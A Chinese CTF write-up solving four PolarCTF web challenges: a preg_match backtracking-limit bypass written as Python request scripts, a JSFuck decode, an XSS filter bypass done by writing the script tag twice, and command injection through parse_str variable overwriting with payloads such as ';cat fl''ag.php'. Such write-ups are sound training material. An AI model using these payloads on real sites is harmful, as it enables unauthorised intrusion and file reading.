polarctf靶场【web】swp、召唤神龙、浮生日记、干正则

[web]swp

考点：敏感文件、preg_match()函数绕过

什么是swp文件：

vim中的swp即swap文件，在编辑文件时产生，它是隐藏文件。这个文件是一个临时交换文件，用来备份缓冲区中的内容。如果原文件名是data，那么swp文件名就是.data.swp。如果文件正常退出，则此文件自动删除。需要注意的是如果你并没有对文件进行修改，而只是读取文件，是不会产生swp文件的。强行关闭vim时，vim自动生成一个swp文件，当源文件被意外删除时，可以利用swp文件恢复源文件。

依据题目的提示，可能存在swp文件，用kali dirsearch工具扫一扫

得到的子域，将其访问

​

​

function jiuzhe($xdmtql){ //接受一个xdmtql变量
    return preg_match('/sys.*nb/is',$xdmtql); //匹配变量
}

$xdmtql=@$_POST['xdmtql']; //判断变量是否为数组类型，不为数组类型往下判断
if(!is_array($xdmtql)){  //利用jiuzhe函数进行匹配输入的值
    if(!jiuzhe($xdmtql)){
        if(strpos($xdmtql,'sys nb')!==false){  //绕过 preg_match函数后匹配变量，匹配到的话输出flag
            echo 'flag{*******}';
        }else{
            echo 'true .swp file?';
        }
    }else{
        echo 'nijilenijile';  //匹配到/sys.*nb/is的话输出
    }
}

考虑如何同时绕过pre_match()和strpos()函数，不pre_match()让匹配到，一个又要strpos()匹配到。是个回溯问题，由于pre_match()函数处理的字符长度有限，如果超过这个长度就会返回false也就是没有匹配到，所以我们写一段代码，让pre_match()函数报错，绕过该函数，这样strpos()函数就可以顺利的匹配到我们的字符串从而输出flag

import requests
url = 'http://b0533b47-df70-46d3-8840-0aba3ecc326b.www.polarctf.com:8090'
data = {
    'xdmtql': 'sys nb' + 'very' * 250000
}
r = requests.post(url=url, data=data).text
print(r)

或者

import requests
data = {"xdmtql": "sys nb" + "aaaaa" * 1000000}
res = requests.post('http://b0533b47-df70-46d3-8840-0aba3ecc326b.www.polarctf.com:8090/', data=data, allow_redirects=False)
print(res.content)

​便可得到flag

​

[web]召唤神龙

考点：jsfuck

什么是JSFuck？

JSFuck是基于JavaScript原子部分的深奥和教育性编程风格。它仅仅使用六个不同的字符来编写和执行代码。

分别是：{​ }​ [​ ]​ +​ !​
它不依赖于浏览器，因此可以在Node.js上运行。

打开网址，发现是js小游戏，先查看源码，没有可以利用的信息，然后用调试器查看，看到main.js有一串明显的jsfuck

1.将其用工具进行解码

2.也可以直接控制台译出

便可得到flag

[web]浮生日记

考点：xss

根据源码的提示

试试xss语句，输入，发现过滤了script

<script>alert(1)</script>

 

运行后发现script被过滤，进行双写绕过，发现没有显示

<scriscriptpt>alert(1)</scriscriptpt>

​

​

​

​

那就先闭合value值，再双写绕过

"><scriscriptpt>alert(1)</scriscriptpt>

成功弹窗点击确定即可跳转到flag页面得到flag

​

[web]干正则

考点：parse_str变量覆盖

@parse_str($id); 这个函数不会检查变量 $id 是否存在，如果通过其他方式传入数据给变量$id ,且当前$id中数据存在，它将会直接覆盖掉

发现a[0]的值确实被更改了，那么接下来就简单了，先构造一个cmd=|ls;，发现回显了flag.php,但是不能直接读取，我们尝试用读取ls的命令

?id=a[0]=www.polarctf.com&cmd=|cat `ls`;//回显之后直接点击源码便可得到flag

?id=a[]=www.polarctf.com&cmd=|ls //发现有flag.php,但是不能直接读取
?id=a[0]=www.polarctf.com&cmd=;cat%20flag*
或?id=a[0]=www.polarctf.com&cmd=;cat%20fl''ag.php

​

?id=a[0]=www.polarctf.com&cmd=;tac f* //可直接读取flag

 得到flag